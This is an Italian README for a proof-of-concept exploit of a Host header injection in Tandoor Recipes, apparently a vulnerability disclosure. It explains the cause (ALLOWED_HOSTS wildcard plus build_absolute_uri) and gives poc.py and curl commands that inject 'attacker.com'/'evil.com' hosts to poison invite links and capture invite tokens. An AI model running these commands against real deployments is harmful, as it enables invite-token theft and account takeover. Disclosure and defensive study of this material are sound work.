
Proof-of-concept exploit per CVE-2026-33149, un'iniezione dell'header Host in Tandoor Recipes che consente il poisoning dei link di invito e il cache poisoning. Include moduli per l'accettazione dell'host, la paginazione, lo schema e il poisoning degli inviti.
Tandoor Recipes imposta ALLOWED_HOSTS = '*' per impostazione predefinita in settings.py, consentendo a Django di accettare qualsiasi valore nell'header HTTP Host senza validazione. L'applicazione utilizza request.build_absolute_uri() per generare URL assoluti in molteplici contesti sensibili alla sicurezza. Un attaccante che può inviare richieste con un header Host manipolato può reindirizzare tutti gli URL generati dal server verso un dominio controllato dall'attaccante.
L'impatto più critico è l'avvelenamento dei link di invito: quando un amministratore crea un invito utente, l'email inviata dal server contiene un link che punta al dominio dell'attaccante. La vittima clicca su un'email dall'aspetto legittimo, il token di invito viene esfiltrato e l'attaccante lo utilizza per dirottare il flusso di provisioning dell'account.
| Campo | Valore |
|---|---|
| ID CVE | CVE-2026-33149 |
| GHSA | GHSA-x636-4jx6-xc4w |
| CWE | CWE-644 — Neutralizzazione Impropria degli Header HTTP per la Sintassi di Scripting |
| CVSS v3.1 | 8.1 ALTA — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N |
| Versione Affetta | Tandoor Recipes ≤ 2.5.3 |
| Vendor | TandoorRecipes/recipes |
| ID Tecnica | Nome | Rilevanza |
|---|---|---|
| T1557 | Adversary-in-the-Middle | Manipolazione degli URL generati dal server per reindirizzare il traffico |
| T1566.002 | Phishing: Spearphishing Link | L'email di invito avvelenata contiene un link controllato dall'attaccante |
File: recipes/settings.py:118
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*') # default: wildcard
ALLOWED_HOSTS di Django è una misura di sicurezza che valida l'header Host rispetto a una whitelist. Il wildcard '*' disabilita completamente questa validazione, consentendo qualsiasi valore arbitrario.
File: cookbook/serializer.py:1852-1853
message += _('Click the following link to activate your account: ') + self.context[
'request'].build_absolute_uri(
reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'
request.build_absolute_uri() costruisce gli URL utilizzando request.get_host(), che restituisce il valore grezzo dell'header Host quando ALLOWED_HOSTS non lo limita. L'UUID dell'invito — un token segreto — è incorporato nell'URL che ora punta all'attaccante.
build_absolute_uri() per gli URL next/previous┌──────────┐ ① Richiesta Manipolata ┌─────────────────┐
│ Attaccante │ ──────────────────────────────→│ Server Tandoor │
│ │ Host: attacker.com │ ALLOWED_HOSTS=*│
└──────────┘ └────────┬────────┘
│
② build_absolute_uri()
usa "attacker.com"
│
▼
┌────────────────┐
│ Server SMTP │
└────────┬───────┘
│
③ Email con link avvelenato:
http://attacker.com/invite/<uuid>
│
▼
┌────────────────┐
│ Vittima │
│ (clicca link) │
└────────┬───────┘
│
④ UUID inviato all'attaccante
│
▼
┌────────────────┐
│ Attaccante │
│ usa UUID sul │
│ server reale │
└────────────────┘
requestspip install requests
# Esegui tutti i moduli di validazione con autenticazione di base
python3 poc.py --target http://localhost:8085 \
--basic-auth admin:password \
--attacker evil.com \
--module all
# Esegui tutti i moduli con cookie di sessione
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module all
# Solo avvelenamento del link di invito
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module invite \
--email [email protected] \
--group-id 1
| Modulo | Descrizione |
|---|---|
host-accept | Verifica che il target accetti header Host arbitrari (ALLOWED_HOSTS = '*') |
pagination | Conferma che gli URL di paginazione API riflettano il dominio iniettato |
schema | Conferma che gli URL del server dello schema OpenAPI riflettano il dominio iniettato |
invite | Crea un link di invito avvelenato — il vettore d'attacco primario |
all | Esegue tutti i moduli in sequenza |
1. Accettazione dell'Header Host
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/user/ \
-H "Host: attacker.com" \
-u "admin:password"
# Atteso: 200 (vulnerabile) | 400 (corretto)
2. Riflessione dell'URL di Paginazione
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" \
-H "Accept: application/json"
# Atteso: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}